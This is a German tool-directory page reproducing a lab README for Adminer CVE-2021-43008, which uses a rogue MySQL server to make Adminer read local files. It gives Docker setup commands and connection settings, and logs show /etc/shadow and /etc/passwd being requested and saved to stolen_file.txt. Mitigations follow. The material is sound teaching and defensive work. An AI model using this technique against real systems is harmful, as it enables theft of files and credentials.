Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
adminer_CVE-2021-43008 — Demonstrationsumgebung für die Adminer-Schwachstelle CVE-2021-43008: die tatsächlichen Auswirkungen beobachten und Gegenmaßnahmen testen. | Kitploit
Tools/GitHubGitHub/bamolitho/adminer_cve-2021-43008
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

Demonstrationsumgebung für die Adminer-Schwachstelle CVE-2021-43008: die tatsächlichen Auswirkungen beobachten und Gegenmaßnahmen testen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 8 MonatenNoch nicht geprüft

CVE-2021-43008 — Adminer-Sicherheitslücke

Beliebiges Dateilesen mittels bösartigem MySQL-Server

1. Was ist Adminer?

Adminer ist ein Web-Tool (PHP) zur einfachen Verwaltung von MySQL-, PostgreSQL-, SQLite- oder SQL-Server-Datenbanken. Es wird häufig als leichte Alternative zu phpMyAdmin eingesetzt.

Betroffene Versionen: Adminer ≤ 4.6.2


2. Welche Art von Schwachstelle liegt vor?

2.1. Fehler in der Zugriffskontrolle (Access Control)

Adminer erlaubt die Verbindung zu jedem beliebigen entfernten MySQL-Server. Bei der Verbindung zu einem MySQL-Server akzeptiert der Client (hier Adminer):

  • eine Reihe von Initialisierungsanweisungen des Servers,
  • darunter den Befehl LOAD DATA LOCAL INFILE, mit dem der Server den Client auffordern kann, eine lokale Datei zu senden.

2.2. Problem

Adminer validiert die Antworten des MySQL-Servers in den verwundbaren Versionen nicht korrekt.

Ergebnis: Ein vom Angreifer kontrollierter MySQL-Server kann anfordern:

„Lies diese lokale Datei auf dem Rechner oder Container, der Adminer hostet, und sende sie mir.“

Dieser Mechanismus hängt mit dem MySQL-Paket zusammen: 0xFB | Dateiname → löst das lokale Lesen der Datei aus.

Warum Version 4.6.2 verwundbar ist

Adminer 4.6.2 erlaubte es einem Benutzer, einen externen MySQL-Server anzugeben und sich frei mit ihm zu verbinden. MySQL erlaubte standardmäßig zusätzlich die Verwendung von:

  • LOAD DATA LOCAL INFILE
  • im automatischen Modus, wenn bestimmte Server eine Datei anforderten.

Also: Adminer → verbindet sich mit dem bösartigen Server → der bösartige Server fordert eine Datei an → Adminer sendet sie.

Das ist der Kern der Sicherheitslücke.


3. Ausnutzungsbedingungen

Der Angreifer muss:

  1. Einen bösartigen MySQL-Server hosten (Rogue MySQL Server).
  2. Adminer dazu bringen, sich mit seinem Server zu verbinden:
    • durch einen Konfigurationsfehler,
    • über eine öffentlich zugängliche Oberfläche,
    • durch eine Benutzeraktion (Angriff vom Typ „Lieferant-Host“).
  3. Der bösartige MySQL-Server sendet ein Paket LOAD DATA LOCAL INFILE.
  4. Adminer liest eine lokale Datei.
  5. Die Datei wird an den Angreifer zurückgesendet.

Es ist kein Root-Passwort erforderlich, um eine lokale Datei zu exfiltrieren: Adminer führt die Aktion als PHP-Anwendung auf dem Zielserver aus.


4. Auswirkungen der Sicherheitslücke

4.1. Kompromittierung der Vertraulichkeit

Der Angreifer kann:

  • /etc/passwd lesen (von der Entität, die Adminer hostet: Host-Rechner oder Container),
  • /etc/shadow lesen (je nach Berechtigungen des PHP-Benutzers),
  • Konfigurationsdateien abrufen,
  • MySQL-Verbindungsanmeldedaten stehlen,
  • alle für den Web-Benutzer zugänglichen Informationen extrahieren.

4.2. Eskalation der Auswirkungen

Mit den gestohlenen MySQL-Anmeldedaten (als sekundärer Schritt) kann er dann:

  • sich mit der eigentlichen internen Datenbank verbinden,
  • Daten lesen,
  • in Tabellen schreiben,
  • bösartige Nutzlasten injizieren.

5. Praktische Demonstration (PoC) — Laboraufbau

Der PoC erfolgt in einer isolierten und containerisierten Umgebung, um jedes Risiko zu vermeiden.

5.1. Laborkomponenten

  1. Verwundbares Adminer (Version 4.6.2) Rolle: Opfer Lokal verfügbar unter localhost:8080
  2. Legitimer MySQL-Server (optional) Rolle: Simulation einer echten Datenbank
  3. Bösartiger MySQL-Server (Python) Rolle: Angreifer Er sendet die Pakete 0xFB Dateiname, um Adminer zum Lesen einer lokalen Datei zu zwingen.

5.2. Verzeichnisstruktur

root@kitploit:~
adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile

6. Ablauf des PoC: Wie zeigt sich die Sicherheitslücke?

6.1. Labor starten

root@kitploit:~
docker compose build && docker compose up -d

6.2. Verbindung von Adminer zum bösartigen Server

In http://localhost:8080:

  • System: MySQL
  • Server: rogue_mysql:33306
  • Benutzer: beliebig
  • Passwort: beliebig

6.3. Automatischer Ablauf

  1. Adminer sendet den Handshake.
  2. Der bösartige MySQL-Server sendet LOAD DATA LOCAL INFILE '/etc/passwd'.
  3. Adminer liest /etc/passwd.
  4. Adminer sendet dessen Inhalt an den bösartigen Server.
  5. Der bösartige Server speichert den Text in stolen_file.txt.

6.4. Beobachtetes Ergebnis

Verwenden Sie den folgenden Befehl, um die Protokolle des bösartigen Servers zu beobachten:

root@kitploit:~
docker logs -f rogue_mysql

Erwartetes Ergebnis:

root@kitploit:~
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt

Inhalt der Datei stolen_file.txt anzeigen:

root@kitploit:~
docker exec -it rogue_mysql sh

Sobald Sie sich im Container befinden, können Sie den Inhalt der Dateien, einschließlich stolen_file.txt, anzeigen:

root@kitploit:~
# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
root@kitploit:~
# cat stolen_file.txt

Ergebnis:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

Dieses Ergebnis demonstriert die Sicherheitslücke eindeutig.

7. Abhilfemaßnahmen

A. Adminer aktualisieren (allein ausreichend)

Zuverlässigste Lösung: Wechsel zu Adminer ≥ 4.6.3

Die nachfolgenden Versionen korrigieren das Netzwerkverhalten.

Was in den folgenden Versionen behoben wurde

Ab Adminer 4.7.x wurden mehrere Schutzmaßnahmen eingeführt:

Adminer verbietet nun standardmäßig LOAD DATA LOCAL INFILE

Entweder:

  • vollständig deaktiviert
  • oder nur aktiviert, wenn vom Benutzer explizit erlaubt

→ Ergebnis: Ihr bösartiger MySQL-Server kann keine Dateien mehr exfiltrieren.

Adminer filtert Client-Aktionen vor dem Senden an den Server

Dadurch wird verhindert, dass externe Verbindungen gefährliche Funktionen nutzen.

Zusätzliche Eingabevalidierungsmechanismen

Die neuen Versionen überprüfen:

  • ob der Zielserver der erwartete ist
  • ob die Aktion nicht gefährlich ist
  • ob die Anfrage tatsächlich einer legitimen Benutzeraktion entspricht

B. Externe Verbindungen deaktivieren

Adminer auf interne Hosts beschränken:

  • über eine Firewall (OUTPUT + DOCKER NETWORKS),
  • über einen gefilterten Reverse-Proxy,
  • über eine streng lokalisierte Netzwerkkonfiguration.

Das produktive Adminer sollte immer auf einen internen MySQL-Server verweisen.


C. LOCAL INFILE auf MySQL-Seite deaktivieren

Verhindert Diebstahl über legitime MySQL-Clients:

root@kitploit:~
[mysqld]
local_infile=0

oder:

root@kitploit:~
SET GLOBAL local_infile=0;

D. Adminer niemals öffentlich zugänglich machen

Adminer sollte nicht über das Internet erreichbar sein.

In der Produktion:

  • Zugriff nur über VPN,
  • SSO oder starke Authentifizierung,
  • automatischer Ablauf.

E. Adminer nach Gebrauch entfernen

Adminer sollte als temporäres Werkzeug betrachtet werden:

  • Es wird für eine einmalige Aufgabe bereitgestellt,
  • danach wird es entfernt.

8. Ressourcen und zuverlässige Referenzen

  • Quelle des verwendeten Python-Skripts: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
  • Offizielle Adminer-Website: https://www.adminer.org/en/
  • Sansec (ursprüngliche Veröffentlichung): https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
  • Podalirius (technische Erklärungen + PoC): https://podalirius.net/en/cves/2021-43008/
  • vulhub: https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

9. Abschließende Zusammenfassung

CVE-2021-43008 ist eine kritische Sicherheitslücke in Adminer ≤ 4.6.2, die es:

  • einem Angreifer, der einen MySQL-Server kontrolliert,
  • ermöglicht, Adminer zum Lesen einer lokalen Datei zu zwingen,
  • und dann deren Inhalt an den Angreifer zu exfiltrieren.

Dies ist eine perfekte Demonstration der Bedeutung:

  • der Netzwerkkontrolle,
  • von MySQL-Client-Einschränkungen,
  • der Nicht-Exposition von Verwaltungswerkzeugen,
  • des Versionsmanagements von Software.

Tool herunterladen